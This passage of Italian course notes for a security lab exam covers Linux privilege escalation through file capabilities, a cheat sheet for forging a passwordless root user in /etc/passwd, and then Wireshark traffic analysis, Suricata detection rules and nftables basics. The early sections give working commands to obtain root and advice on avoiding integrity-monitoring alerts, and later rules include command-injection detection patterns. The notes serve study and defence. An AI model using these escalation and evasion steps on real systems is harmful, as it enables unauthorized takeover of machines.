Invece di creare utenti fittizi, cerca la riga di `root` (`root:x:0:0...`) e **cancella la "x"** (facendola diventare `root::0:0...`). Questo rimuove la richiesta di password per l'utente `root` originario.

- **Forzatura del Salvataggio (!):** Poiché sei loggato con un utente a basso privilegio (es. `guest`), l'editor ti avviserà che il file è in sola lettura. Per salvare la modifica, devi **forzare la scrittura** sfruttando la capability con il comando:

```
:w!
```

- **Il Dettaglio Tecnico Importante:** Non è possibile lanciare comandi shell dall'interno di vim (es. con `:!cat /etc/shadow`) sperando di sfruttare la capability. Questo accade perché `bash` (e `sh`), per motivi di sicurezza intrinseci, effettua il drop (l'abbandono) di tutte le capabilities ereditate non appena viene inizializzata. L'attacco deve quindi avvenire modificando il file *direttamente* dentro l'interfaccia dell'editor.

Vettore 2: CAP_FOWNER su chmod

La capability `CAP_FOWNER` permette a un binario di ignorare completamente i controlli di proprietà (ownership) sui file, consentendo di manipolare permessi, ACL e attributi di file appartenenti a qualsiasi utente, incluso root.

- **Lo Scenario:** Troviamo che l'eseguibile `/usr/bin/chmod` ha la capability `cap_fowner=eip`.
- **L'Exploit:** Possiamo usare `chmod` per alterare i diritti d'accesso di `/etc/passwd`, rendendolo liberamente scrivibile da qualsiasi utente del sistema:

```
chmod 666 /etc/passwd
```

Ora che il file ha permessi di scrittura globali, inseriamo l'utente root fittizio:

```
echo "toor::0:0:root:/root:/bin/bash" >> /etc/passwd
```

- **Regola d'oro per il Report d'Esame:** Una volta completata l'escalation e ottenuta la shell root, è fondamentale ripristinare immediatamente i permessi originari del file di sistema:

```
chmod 644 /etc/passwd
```

Questo evita malfunzionamenti di sistema e impedisce che i sistemi HIDS di controllo integrità (come AIDE o Samhain) facciano scattare allarmi di compromissione nel log.

4.7.5 Elenco delle Capabilities più Pericolose

Le capabilities più critiche da monitorare durante un'attività di privilege escalation sono:

- `CAP_DAC_OVERRIDE`: Permette al binario di ignorare completamente qualsiasi controllo sui permessi di lettura, scrittura ed esecuzione di file e directory.
- `CAP_FOWNER`: Permette di modificare i permessi (tramite `chmod`) di qualsiasi file sul sistema, indipendentemente da chi sia il reale proprietario.
- `CAP_SETUID`: Permette al processo di assumere l'identità (UID) di qualsiasi altro utente del sistema, incluso root.
- `CAP_SYS_ADMIN`: Definita la capability "tuttofare", concede una vasta gamma di poteri amministrativi (come il montaggio di filesystem o la manipolazione di configurazioni di basso livello).

4.8 Cheat Sheet: Forgiare un utente Root manualmente

Se abbiamo ottenuto la capacità di scrivere all'interno del file `/etc/passwd` (sfruttando uno qualsiasi dei vettori visti in precedenza), possiamo inserire una nuova riga per definire un utente con privilegi amministrativi equivalenti a root.

4.8.1 Metodo Rapido: Utente Root senza Password

Il modo più veloce ed efficace in un laboratorio per completare l'escalation consiste nel creare un utente configurato **senza alcuna password**. Questo approccio evita l'uso di tool esterni come `openssl` per generare hash.

Il formato standard di una riga nel file `/etc/passwd` è:

```
NomeUtente:Password:UID:GID:Informazioni:Home:Shell
```

Se lasciamo completamente vuoto il secondo campo (quello compreso tra il primo e il secondo due punti, dove normalmente risiede la `x` che rimanda al file `shadow`), il sistema interpreterà la configurazione come un account privo di password, consentendo l'accesso immediato.

La stringa da utilizzare:

```
toor::0:0:root:/root:/bin/bash
```

Spiegazione dei campi impostati:

- `toor`: Il nome scelto per il nostro nuovo account utente.
- `::`: Il campo password è vuoto. Non verrà richiesta alcuna autenticazione.
- `0`: L'UID (User ID) impostato a 0 identifica l'utente come `root` per il kernel Linux.
- `0`: Il GID (Group ID) impostato a 0 inserisce l'utente nel gruppo principale di `root`.
- `/root`: Specifica la directory home dell'utente.
- `/bin/bash`: Specifica la shell di default da avviare.

Iniezione della riga nel sistema: A seconda del vettore sfruttato, aggiungiamo la riga in fondo al file di sistema originale:

```
echo "toor::0:0:root:/root:/bin/bash" >> /etc/passwd
```

Ottenimento della shell root: Una volta inserita la riga, basta effettuare lo switch dell'utente corrente richiamando il nuovo account da terminale. Il sistema effettuerà l'accesso come root istantaneamente senza richiedere alcuna password:

```
su - toor
```

4.8.2 Metodo Completo: Creare un utente con Password

Se il sistema o la consegna dell'esame rifiuta accessi senza password, devi generare un hash compatibile con `/etc/passwd` (o `/etc/shadow`) usando `openssl`.

1. **Genera l'hash della password:** Scegliamo ad esempio la password `seclab` con salt `seclab`. Il parametro `-1` indica l'algoritmo MD5.

```
openssl passwd -1 -salt seclab seclab
```

(Output atteso: `$1$seclab$[hash_generato]`)

2. **Inserisci la nuova riga nel sistema:** Prendi l'hash ottenuto e inseriscilo al posto dei due punti vuoti usati nel metodo precedente:

```
echo "toor:\$1\$seclab\$[hash_generato]:0:0:root:/root:/bin/  
bash" >> /etc/passwd
```

Ora potrai accedere con `su - toor` inserendo `seclab` come password.

Capitolo 5 - Network Intrusion Detection (Suricata)

Questo capitolo affronta il monitoraggio del traffico di rete e i sistemi per il rilevamento delle intrusioni. Nelle attività pratiche e d'esame, l'obiettivo è analizzare preventivamente il traffico di un attacco per isolare i suoi pattern malevoli, per poi tradurli in regole sintattiche capaci di generare alert automatici all'interno del motore Suricata.

5.1 Contesto Teorico: NIDS vs HIDS

I sistemi di rilevamento delle intrusioni (IDS) si dividono in due grandi macro-categorie a seconda della loro posizione e della tipologia di dati che analizzano.

5.1.1 NIDS (Network-based Intrusion Detection System)

Un NIDS analizza i pacchetti di dati mentre transitano sui canali di comunicazione della rete (i cavi o gli switch). Viene posizionato in punti strategici chiamati **perimetri** (es. subito dietro al firewall di ingresso) e monitora il traffico in modo passivo attraverso delle **sonde** (schede di rete configurate in modalità promiscua per catturare ogni pacchetto in transito, a prescindere dal destinatario).

- **Pro: Visibilità globale.** Essendo posizionato sul canale principale, monitora contemporaneamente sia il traffico entrante che quello uscente di tutti i computer della rete con un unico punto di installazione, senza gravare sulle risorse hardware dei singoli endpoint.
- **Contro: Falsi Positivi e Cifratura.** Ha un tasso di falsi positivi più elevato rispetto all'HIDS poiché analizza l'attacco "al volo" sulla rete, ma non sa se la macchina bersaglio elaborerà davvero quel payload o lo scarcerà (es. perché la porta è chiusa). Inoltre, **non può esaminare il traffico cifrato**: se un attacco viaggia all'interno di una connessione protetta (es. HTTPS), il NIDS vedrà solo byte casuali illeggibili e non potrà intercettare l'exploit.

5.1.2 HIDS (Host-based Intrusion Detection System)

Un HIDS è un software installato direttamente all'interno del singolo computer o server che si intende proteggere. Non guarda la rete globale, ma monitora esclusivamente le attività interne di quella specifica macchina.

- **Pro: Analisi dell'effetto reale e dati in chiaro.** Ha un tasso di falsi positivi bassissimo perché verifica l'interazione diretta con l'obiettivo: genera un alert solo se l'attacco causa una reale anomalia (es. un file di sistema che viene modificato o il crash di un demone). Inoltre, risolve il problema della cifratura: intercetta i dati in chiaro dentro la memoria del server, subito dopo che sono stati decifrati dal sistema operativo per essere passati all'applicazione.

- **Contro: Punti ciechi locali e manomissioni.** Richiede di installare e mantenere un agente software per ogni singola macchina. Inoltre, se l'attaccante riesce a portare a termine con successo una Privilege Escalation diventando **root**, nella fase di *post-exploitation* avrà i permessi per spegnere l'HIDS o cancellare i file di log locali, cancellando le sue tracce.

5.1.3 Suricata: Caratteristiche principali

Suricata è un moderno software NIDS open-source. Le sue caratteristiche fondamentali sono:

- **Decodifica del livello applicativo:** Non si limita ad analizzare la rete come flusso di bit grezzi, ma riconosce la struttura dei protocolli complessi (HTTP, DNS, TLS). Sa separare l'URL dai Cookie o dai parametri di un form, permettendo di scrivere regole mirate su porzioni esatte di una richiesta.
- **Rilevamento basato su Signature:** Funziona tramite il riconoscimento di "firme" (o pattern malevoli), ovvero sequenze fisse e univoche di byte (es. in un buffer overflow) o stringhe testuali (es. in una command injection) che identificano l'attacco.
- **Linguaggio a regole:** Utilizza file di configurazione testuali contenenti istruzioni logiche stringenti per indicare al motore quali pacchetti segnalare.

CRITICO: Il limite di Layer 2 e l'ARP Spoofing Suricata è un HIDS/NIDS che opera esclusivamente dal **Layer 3 (IP)** in su. Di conseguenza, **non può lavorare a Layer 2**: è strutturalmente impossibile scrivere una regola Suricata che attivi un alert basandosi direttamente sui MAC address.

Se lo scenario d'esame propone un attacco di Layer 2 come l'**ARP Spoofing** (in cui l'attaccante invia risposte spontanee per avvelenare le tabelle della subnet), il workaround richiesto consiste nel:

1. Mappare gli host leciti e "buoni" della rete.
2. Isolare l'IP anomalo dell'attaccante tramite l'analisi preliminare del traffico.
3. Scrivere le regole concentrando l>alerting sul traffico a livello IP (Layer 3) generato da o diretto verso quell'IP malevolo.

5.2 Metodologia di Analisi PCAP con Wireshark

Prima di poter scrivere una regola su Suricata, devi intercettare l'attacco e ispezionarlo per capirne l'esatta "firma".

Fase Preliminare: Registrazione del traffico con tcpdump

Se non ti viene fornito un file PCAP pronto, avvia la registrazione dei pacchetti grezzi e salvali in un file .pcap:

```
sudo tcpdump -i eth0 -w /tmp/attacco.pcap
```

Workflow di Interruzione Lancia il comando, esegui immediatamente lo script o l'azione d'attacco e, non appena questo va a segno, torna nel terminale e premi **Ctrl+C** per stoppare tcpdump. Questo evita di inquinare il file .pcap con traffico di rete inutile.

5.2.1 STEP 1: Mappatura della rete fisica

L'obiettivo è individuare i dispositivi reali, associarli ai loro IP e, in caso di reti multiple, identificare con certezza i router.

1. Trovare i MAC Address attivi:

- Vai su **Statistics** → **Endpoints** → Tab **Ethernet**.
- Segnati su un blocco note tutti i MAC address presenti.

2. Associare i MAC agli IP (Tramite ARP):

- Applica il filtro: `eth.addr == <MAC_ADDRESS> && arp`
- Cerca i pacchetti del tipo *"IP X is at MAC Y"*. Seleziona preferibilmente le risposte (Reply) o le richieste in cui l'host dichiara chi è.
- Scrivi sul blocco note: `MAC_A = IP_X`.

3. Identificazione dei Router: Per capire in modo logico e certo chi funge da router/gateway, usa uno di questi tre segnali nel traffico:

- **Traffico DNS:** Filtra per `udp.port == 53`. Se un IP interno risponde alle query DNS (DNS Response) di altri host locali, spesso quel nodo fa da gateway/forwarder.
- **Traffico verso l'esterno:** Trova una conversazione tra un IP locale e un IP pubblico. Guarda il livello Ethernet di quel pacchetto: il MAC address di destinazione per uscire dalla rete locale è matematicamente quello del router.
- **DHCP (se presente):** Filtra per `bootp.option.type == 3`. Questo pacchetto contiene esplicitamente l'indirizzo IP del "Router" assegnato alla rete.

5.2.2 STEP 2: Mappatura globale del traffico (Per ogni Host)

L'obiettivo è capire a grandi linee cosa sta facendo ogni IP individuato nello Step 1, iterando protocollo per protocollo. Per ogni host trovato:

1. Traffico ARP: `eth.src == <MAC_ADDRESS> && arp`

- *Cosa segnare:* Fa richieste per trovare un IP specifico o fa richieste a tappeto?

2. Traffico ICMP: `ip.addr == <IP_HOST> && icmp`

- *Cosa segnare:* Invia Ping (Request) o risponde (Reply)? Verso quali IP?

3. Traffico UDP (Es. DNS): `ip.addr == <IP_HOST> && udp`

- *Cosa segnare:* Sono normali query DNS? Segna la direzione.

4. **Traffico TCP:** `ip.addr == <IP_HOST> && tcp`

- *Cosa segnare:* Quanti pacchetti sono? Sono flussi stabiliti o solo "coppie" di SYN seguiti da RST, ACK (tentativi falliti)?
- *Tip per velocizzare:* Con il filtro attivo, apri **Statistics** → **Endpoints** → spunta **"Limit to display filter"** per vedere immediatamente con quali altri IP sta parlando via TCP.

5. **Traffico HTTP:** `ip.addr == <IP_HOST> && http`

- *Cosa segnare:* Chi è il client (chi fa la GET/POST) e chi è il server web?

6. **Traffico Rimanente:** `ip.addr == <IP_HOST> && !(arp || icmp || http || dns)`

- *Cosa segnare:* Ci sono pacchetti strani o protocolli non standard?

Risultato di questa fase: Un elenco per ogni host con scritto, ad esempio: "Host B: X pacchetti TCP verso Host C (tutti SYN/RST), Y query DNS verso Host A".

5.2.3 STEP 3: Individuazione del traffico malevolo

Ora si separa il traffico legittimo (rumore di fondo) dagli attacchi veri e propri, analizzando i payload o i pattern di scansione.

A. Riconoscere la fase di Reconnaissance (Scanning)

Gli scan servono all'attaccante per mappare la rete (trovare host vivi e porte aperte).

- **ARP Scanning:** Un host invia richieste ARP a tappeto e in modo sequenziale verso tutti gli IP di una subnet per vedere chi risponde.

ATTENZIONE: La Trappola dei Router Se l'host che sta facendo l'ARP scan è un router (identificato in modo certo allo Step 1), **NON è lui l'attaccante**. Sta semplicemente cercando di recapitare i pacchetti di un IP/Port scan proveniente da un attaccante situato in un'altra sottorete. L'attaccante vero è l'IP sorgente dei pacchetti che il router sta smistando.

- **IP/ICMP Sweep:** Un host invia pacchetti ICMP Echo Request sequenzialmente a tutti gli IP di una subnet.
- **TCP Port Scan:** Un IP invia pacchetti TCP SYN verso migliaia di porte diverse di un singolo IP bersaglio. Il bersaglio risponderà con TCP RST, ACK sulle porte chiuse.
 - *Nota per l'esame:* In assenza di altri attacchi, una regola Suricata per bloccare questo comportamento consiste nel dropare tutto il traffico proveniente dall'IP sorgente individuato nello scan.

B. Riconoscere Attacchi Web (HTTP)

Usa il filtro `http.request`.

- **Cosa guardare:**
 1. **URL (URI):** Cerca stringhe codificate, tentativi di directory traversal (`../`) o iniezioni di comandi (`%26%20cat, & ls, || id`).
 2. **User-Agent:** Cerca anomalie. Se al posto di "Mozilla" vedi `curl`, `nmap` o `python-requests`, è un tool automatizzato/script.
- **Ispezione:** Tasto destro sul pacchetto sospetto → **Follow** → **HTTP Stream**.
 - Se nel testo della risposta (in blu) vedi l'output del comando (es. la lista del file `/etc/passwd`), l'attacco ha avuto successo.

C. Riconoscere Exploit Binari / Custom (TCP)

Cerca le conversazioni TCP più "pesanti" in termini di Byte verso porte non standard (es. 8000).

- **Ispezione:** Tasto destro sul pacchetto → **Follow** → **TCP Stream**.
- **Cosa guardare:** Cambia la visualizzazione in **Hex Dump** (in basso). Cerca sequenze di NOP (`\x90\x90`) o specifici indirizzi di ritorno esadecimali corrotti (es. `b9 61 55 56`). Se dopo l'esadecimale vedi l'attaccante lanciare comandi shell (`ls`, `whoami`), hai trovato un Buffer Overflow.

D. Riconoscere Attacchi di Rete (Livello 2/7)

- **ARP Spoofing (MITM):** Filtra per `arp`. Se vedi un host che inizia a inviare continue "ARP Reply" non richieste, dicendo *"L'IP del Gateway si trova al mio MAC address"*, sta avvelenando le cache per mettersi in mezzo alla comunicazione.
- **DNS (C2 / Tunneling):** Se vedi richieste DNS insolitamente lunghe (stringhe in Base64) o domini palesemente generati casualmente (es. `x8f9q2.com`), potrebbe essere un malware che comunica col suo Command & Control (C2) o che es filtra dati mascherandoli da traffico DNS.

5.3 Componenti e Sintassi delle Regole Suricata

Le regole si scrivono tipicamente in un file (es. `/etc/suricata/rules/fwids.rules`). La struttura sintattica è fissa e divisa in due parti: l'**Intestazione** (direzione e filtri di rete) e le **Opzioni** (cosa cercare nel pacchetto, racchiuse tra parentesi tonde).

```
azione protocollo src_ip src_port direzione dst_ip dst_port (opzioni;)
```

5.3.1 L'Intestazione

- **Azione:** `alert` (genera un log senza bloccare, tipico in sede d'esame), `drop` (blocca il pacchetto silenziando il mittente), `pass` (ignora e lascia passare).
- **Protocollo:** Può essere a livello di trasporto (`tcp`, `udp`, `icmp`, `ip`) o applicativo (`http`, `dns`, `tls`).
- **Indirizzi IP e Porte:** Specifici (es. `192.168.1.5` e `8000`) oppure **any** (qualunque IP/Porta). Usare **any** rende la regola più flessibile e insensibile a futuri cambi di IP nel laboratorio.
- **Direzione (-> oppure <>):**
 - `->` (Unidirezionale): Ispeziona solo i pacchetti che viaggiano dalla Sorgente alla Destinazione. Nota: *non esiste* la freccia verso sinistra (`<-`). Se vuoi invertire, usi `->` e scambi fisicamente l'IP sorgente con quello di destinazione.
 - `<>` (Bidirezionale): Ispeziona i pacchetti di andata e di ritorno di quel flusso.

Bloccare tutto il traffico: Il protocollo "ip" vs "any" A differenza dei campi relativi a IP e Porte, **non esiste la keyword any per il protocollo**. Se la traccia dell'esercizio richiede di "bloccare tutto il traffico" proveniente da un host malevolo, il protocollo corretto da usare nell'intestazione è **ip**.

Usare **ip** crea una regola "pigliatutto" che racchiude automaticamente al suo interno l'intero traffico di Layer 3 e superiori (inclusi `tcp`, `udp`, `icmp` e tutti i protocolli applicativi come `http` o `dns`).

L'unica eccezione tecnica è l'**ARP**, in quanto protocollo di Layer 2. Tuttavia, oltre al fatto che Suricata non è in grado di operare nativamente su Layer 2, la cosa è ininfluente: se blocchi tutto il traffico **ip** di un host, l'attaccante potrà al massimo limitarsi a fare un rumoroso ma innocuo ARP Scanning sulla rete locale, ma gli sarà fisicamente impossibile stabilire qualsiasi tipo di connessione o lanciare exploit contro i servizi.

5.3.2 Le Opzioni principali

- **msg:"Testo";** Il messaggio personalizzato stampato nel log se la regola scatta.
- **sid:numero;** Signature ID. Numero identificativo obbligatorio. Le regole custom devono avere un `sid` ≥ 1000000 .
- **rev:numero;** Versione della regola (es. `rev:1;`).
- **flow:direzione,stato;** Vincola l'applicazione della regola alla "memoria" della connessione. Mentre la freccia `->` guarda solo chi è il mittente e il destinatario di quel singolo pacchetto in quell'istante, il **flow** guarda chi ha iniziato l'intera comunicazione. (Ha senso pieno sul protocollo TCP, mentre per UDP/ICMP Suricata crea dei "pseudo-stati").
 - **Stato:** `established` (ignora la fase di handshake iniziale e ispeziona solo la connessione già confermata, utile per cercare exploit nel payload), `not_established` (ispeziona solo la fase di handshake, utile contro i SYN Flood), `stateless` (ispeziona tutto ignorando lo stato).

- **Direzione:** `to_server` o `to_client`. Applica la regola solo se il pacchetto sta viaggiando da chi ha iniziato la connessione (il Client) verso chi l'ha ricevuta (il Server) o viceversa. È un controllo aggiuntivo per evitare che pacchetti contraffatti bypassino la regola.
- **`content:"stringa";`**: Cerca una sequenza esatta di testo. Di default, la ricerca viene effettuata **esclusivamente nel payload** del pacchetto (i dati veri e propri). Se la parola che cerchi si trova da un'altra parte (es. nell'URL HTTP o negli header), devi far seguire il `content` da un modificatore di contesto (es. `content:"admin"; http.uri;`).
- **`nocase;`**: Rende la ricerca del `content` precedente case-insensitive (ignora maiuscole/minuscole).
- **`depth:numero;` e `offset:numero;` (**Ricerca Assoluta**):** Servono a limitare l'area di ricerca partendo dall'inizio del payload. L'`offset:100;` dice "salta i primi 100 byte e inizia a cercare da lì". Il `depth:20;` dice "cerca solo nei primi 20 byte del payload e poi fermati". Spesso si usano insieme.
- **`distance:numero;` (**Ricerca Relativa**):** Viene usato quando ci sono due `content` consecutivi. Dice a Suricata di saltare X byte a partire dalla fine della stringa del primo `content` prima di iniziare a cercare il secondo (es. `content:"USER"; content:"ADMIN"; distance:5;`).
- **`pcre:"/regex/";`**: Utilizza le Espressioni Regolari (Perl Compatible) per cercare pattern flessibili.

5.3.3 Modificatori di Contesto Applicativo (I "Mirini")

Questi modificatori dicono a Suricata in quale campo esatto del protocollo cercare il `content`. Se non conosci l'esistenza di queste parole chiave, non puoi intercettare attacchi specifici. I più probabili in sede d'esame sono:

- **Protocollo HTTP:**
 - `http.uri`: Cerca la firma solo nell'URL della richiesta (es. i parametri GET).
 - `http.method`: Cerca nel metodo (es. `content:"POST"; http.method;`).
 - `http.user_agent`: Cerca nell'intestazione User-Agent. È utilissimo per bloccare attacchi automatizzati fatti tramite script (es. `content:"curl"; http.user_agent;`).
 - `http.request_body`: Cerca nel corpo della richiesta (es. i dati di un form inviati tramite POST).
- **Protocollo DNS:**
 - `dns_query`: Cerca solo il nome di dominio richiesto nella query.
- **Protocollo TLS / HTTPS (Traffico Cifrato):**
 - `tls.sni`: (Server Name Indication). Anche se il traffico HTTPS è illeggibile perché cifrato, la primissima fase di connessione (handshake) invia **in chiaro** il nome del dominio a cui il client vuole collegarsi. Usando questo modificatore puoi intercettare e bloccare le richieste a un sito HTTPS specifico!

5.3.4 Definizione di Variabili Globali (suricata.yaml)

Per evitare di inserire manualmente elenchi infiniti di indirizzi IP all'interno delle singole regole (rischiando errori di battitura), è un'eccellente pratica d'esame definire dei gruppi personalizzati nella sezione `address-groups` del file `suricata.yaml`:

```
# All'interno di suricata.yaml -> address-groups:
GOOD_NET: "[172.21.1.1,172.21.1.65,172.21.1.140,172.21.1.153]"
BAD_NET: "!$GOOD_NET"
```

In questo modo, all'interno del tuo file di regole potrai richiamare direttamente le variabili, scrivendo payload estremamente compatti e robusti:

```
alert ip $BAD_NET any <> any any (msg:"TRAFFICO DA IP SOSPETTO";
  sid:1000002; rev:1;)
```

Documentazione Suricata Raccogliere in un unico documento di appunti tutte le infinite opzioni, i modificatori e le combinazioni sintattiche delle regole di Suricata sarebbe un'impresa infattibile e controproducente. Nel caso, usare la **Documentazione Ufficiale di Suricata** (da scaricare in PDF da internet).

5.4 Esempi di Scrittura delle Regole

5.4.1 Buffer Overflow (Payload Binario esadecimale)

Ipotizziamo di aver individuato un indirizzo di ritorno malevolo (b9 61 55 56 in hex) iniettato via TCP su un servizio alla porta 8000.

```
alert tcp any any -> any 8000 (msg:"Buffer Overflow Detect"; flow
  :to_server,established; content:"|b9 61 55 56|"; depth:20; sid
  :1000001; rev:1;)
```

Nota pratica: Utilizziamo `depth:20` perché nei buffer overflow l'indirizzo di ritorno corrotto tende a trovarsi nelle fasi iniziali o a offset noti della stringa, evitando che Suricata sprechi CPU a ispezionare megabyte di byte inutili.

5.4.2 Command Injection (Regex su protocollo HTTP)

Vogliamo intercettare una Command Injection in cui l'attaccante usa l'operatore `&` (in chiaro, o codificato nell'URL come `%26`) seguito dal comando `cat`.

```
alert http any any -> any 5000 (msg:"Command Injection Detect";
  http.uri; pcre:"/(&|\%26).*cat/"; sid:1000002; rev:1;)
```

- `http.uri`: Sfrutta la decodifica applicativa di Suricata per cercare la regex **esclusivamente all'interno dell'URL** della richiesta HTTP.
- `/(&|\%26).*cat/`: La regex usa il gruppo logico OR (`|`) per matchare il carattere `&` oppure la stringa `%26`. L'operatore `.*` indica "qualsiasi carattere ., ripetuto zero o infinite volte".

Il limite delle Signature: Le firme troppo specifiche (come cercare la parola `cat`) sono facili da aggirare in contesti reali. Se l'attaccante usa `less /etc/pass*`, la nostra regola non scatterà. Per questo le regole efficaci cercano di bloccare la "meccanica" dell'attacco (es. la presenza non giustificata di separatori di shell come `;` o `&` nell'URL) piuttosto che il singolo comando finale.

5.4.3 Evasione dei filtri (Senza protocollo HTTP)

Consegna d'esame: Scrivere regole per intercettare qualsiasi tipo di richiesta diretta a `evilcorp.com`. Vincolo tassativo: vietato usare il protocollo HTTP o la porta 80.

Parte 1: Intercettazione DNS

Per connettersi a nome a un dominio, l'host deve prima chiederne la risoluzione IP:

```
alert dns any any -> any any (msg:"DNS query for evilcorp.com";
    dns_query; content:"evilcorp.com"; sid:1000003; rev:1;)
```

- `dns_query`: Modificatore specifico che cerca la stringa solo nel campo "query" del pacchetto DNS.

Parte 2: Intercettazione IP diretta

Un attaccante potrebbe eludere la prima regola saltando il DNS: se conosce a priori l'indirizzo IP del server bersaglio, lo inserisce direttamente nell'URL. In tal caso, creiamo una regola universale basata sul livello rete (IP):

```
alert ip any any -> evilcorp.com any (msg:"Request for evilcorp.
    com"; sid:1000004; rev:1;)
```

Usando il protocollo generico `ip` e mettendo l'URL come destinazione fissa (Suricata lo risolverà internamente), la regola scatterà per qualsiasi comunicazione TCP, UDP o ping ICMP diretta a quel server.

5.5 Esecuzione Offline e Ispezione dei Log

In sede d'esame, per testare l'efficacia delle tue regole custom contro il file di cattura pacchetti (`.pcap` o `.pcapng`) fornito dal professore, dovrai lanciare Suricata in modalità di analisi offline.

5.5.1 Comando di Analisi Offline

Lancia il motore specificando il file di configurazione, il file delle regole e la traccia di rete:

```
suricata -c suricata.yaml -S exam.rules -r nome_traccia.pcapng
```

Significato dei flag:

- `-c`: Percorso del file di configurazione globale (`suricata.yaml`).
- `-S`: Carica il tuo file specifico contenente solo le regole custom (es. `exam.rules`).
- `-r`: Indica a Suricata di analizzare offline il file PCAP specificato.

5.5.2 Lettura dei Risultati: fast.log vs eve.json

Suricata genererà l'output all'interno della cartella locale o in `/var/log/suricata/`. I file chiave sono due:

1. **fast.log (Consigliato all'esame):** Produce una riga di testo semplice per ogni alert scattato. È immediato, pulito e velocissimo da leggere:

```
cat fast.log
```

2. **eve.json (Log Strutturato):** Registra eventi dettagliati in formato JSON. Per filtrare ed esaminare solo gli alert andati a segno, formattando il testo a capo, usa jq:

```
cat eve.json | jq 'select(.event_type=="alert")'
```

Soluzione di fallback con grep (se jq è assente):

```
cat eve.json | grep "alert"
```

Capitolo 6 - Firewalling e Filtering

Traffico Wireshark **Importante per il report:** Nelle esercitazioni e all'esame su nftables, spesso ti viene chiesto di catturare il traffico con Wireshark. Ricordati di descrivere e motivare nel report anche i tipi di traffico **NON** malevoli che rilevi transitare sulla rete.

6.1 Introduzione a nftables e Concetti Base

nftables è il moderno framework di packet filtering del kernel Linux. La differenza fondamentale rispetto al passato è che all'avvio **il firewall è completamente vuoto**. Non esistono strutture predefinite: ogni tabella e ogni punto di intercettazione del traffico deve essere dichiarato esplicitamente.

Il framework si organizza su tre livelli gerarchici:

1. **Tabelle (Tables):** Contenitori di massimo livello legati a una famiglia di protocolli (es. `ip` per IPv4, `ip6` per IPv6, `inet` per entrambi).
2. **Catene (Chains):** Contenitori di regole. Si dividono in:
 - **Base:** Agganciate direttamente agli **hook** del kernel (i checkpoint fisici dove passa il traffico, come `prerouting`, `input`, `forward`, ecc.).
 - **Custom:** Isolate, processano i pacchetti solo se vi vengono inviate da un'altra regola tramite un salto (`jump`).
3. **Regole (Rules):** Le istruzioni atomiche. Sono lette dall'alto verso il basso: la prima che verifica una condizione (*match*) ed emette un verdetto risolutivo (*verdict*) decide il destino del pacchetto, interrompendo l'analisi.

Priorità e Flusso dei Pacchetti

Il percorso e l'ordine con cui i pacchetti vengono processati dal firewall non sono cablati in modo rigido, ma dipendono strettamente dall'attributo **priority** associato a ciascuna catena:

- **Il fattore determinante: La Priority:** Se più tabelle o catene si agganciano allo stesso punto di controllo del kernel (*Hook*), l'ordine di esecuzione è regolato dal loro valore numerico. I valori minori o negativi vengono elaborati sempre per primi.
- **Significato delle Priority Standard:** Nel codice si utilizzano parole chiave convenzionali che corrispondono a precisi valori numerici fissi del kernel Linux:
 - **dstnat** (Valore: -100): Utilizzata nell'hook di `prerouting`. Essendo fortemente negativa, garantisce che la traduzione dell'IP di destinazione avvenga subito, *prima* di qualsiasi altra valutazione.
 - **filter** (Valore: 0): La priorità standard per il filtraggio ordinario dei pacchetti e per le decisioni di sicurezza (applicata di default a `input`, `forward` e `output`).

- **srcnat** (Valore: 100): Utilizzata nell'hook di **postrouting**. È positiva perché la modifica dell'IP sorgente (*Masquerade*) deve avvenire solo alla fine, ovvero dopo che le regole di sicurezza hanno effettivamente autorizzato il pacchetto a transitare.
- **Il Flusso Cronologico degli Hook risultante:** A causa dei valori di **priority** sopra elencati, il ciclo di vita di un pacchetto segue questo flusso temporale e logico:
 1. **prerouting** (Priority -100): Modifica preventiva della destinazione (DNAT / Port Forwarding).
 2. *Decisione di Routing*: Il kernel esamina l'IP del pacchetto e ne determina la destinazione finale.
 3. **Bivio di Filtraggio (Hook mutuamente esclusivi, tutti con Priority 0)**: A seconda della decisione di routing, il pacchetto percorre **solo una** di queste strade nella tabella Filter:
 - **input**: Se il pacchetto è destinato alla macchina stessa.
 - **forward**: Se la macchina fa da router e il pacchetto è solo in transito.
 - **output**: Se il pacchetto è generato localmente da un'applicazione della macchina stessa.
 4. **postrouting** (Priority 100): Mascheramento finale dell'IP sorgente (SNAT / Masquerade) un attimo prima dell'uscita fisica sulla rete.
- **Lettura delle Regole:** All'interno di ogni singola catena, le regole vengono lette rigorosamente dall'alto verso il basso (**Top-Down**). Vale il principio *First Match Wins*: il primo verdetto risolutivo (**accept** o **drop**) interrompe immediatamente l'analisi e le regole sottostanti vengono ignorate.

DOCUMENTAZIONE UFFICIALE Per qualsiasi dubbio sulla sintassi o sulle opzioni durante l'esame, ricorda che il manuale di sistema è la risorsa definitiva. Eseguendo il comando **man nftables** da terminale troverai letteralmente tutto quello che potresti mai voler sapere sul framework.

6.2 Strutturazione del Firewall (Tabelle e Catene)

La prima cosa da fare è creare l'infrastruttura. A differenza di quanto si possa pensare, **in nftables i nomi di tabelle e catene sono totalmente arbitrari**.

Se creiamo una tabella e una catena così:

```
nft add table inet filter
nft add chain inet filter input { type filter hook input priority
    filter \; policy drop \; }
```

La parola **filter** (dopo **inet**) e la parola **input** (dopo **filter**) sono solo nomi di fantasia scelti per convenzione. La famiglia **inet** è considerata più elegante e completa rispetto a **ip** perché raggruppa sia IPv4 che IPv6 (mentre le tabelle NAT richiederanno strettamente la divisione in **ip** o **ip6**). La vera magia avviene dentro le parentesi graffe:

- **type filter:** È la direttiva che dice al kernel "questa catena serve ad accettare o scartare pacchetti".
- **hook input:** È il vero aggancio fisico. Ordina al kernel di dirottare in questa catena tutto il traffico destinato alla macchina locale.
- **priority filter:** Stabilisce l'ordine di esecuzione (**filter** sostituisce il vecchio 0 come standard per la tabella filter).
- **policy drop:** L'azione di default se nessuna regola fa match. **drop** implementa un modello **Default Deny**.

IMPORTANTE: Scelta della Policy di Default Prima di iniziare a scrivere, leggi con estrema attenzione l'ultima riga della consegna dell'esercizio.

- Spesso il professore specifica: *"Tutto ciò che non è elencato deve essere bloccato"*. In questo caso, devi impostare una **policy drop** e scrivere esplicitamente le regole per autorizzare sia l'andata che il ritorno di ogni comunicazione permessa.
- Se invece specifica: *"Tutto ciò che non è elencato deve essere permesso"*, imposterai una **policy accept** e scriverai le regole **solo** per bloccare le comunicazioni vietate (molto più raro, ma possibile).

In sintesi: La policy cambia drasticamente il numero di regole da scrivere (ad esempio, con **policy drop** in **output** devi autorizzare esplicitamente la macchina a poter rispondere). *Se la traccia non specifica assolutamente nulla, assumi sempre un modello Default Deny (policy drop) ovunque.*

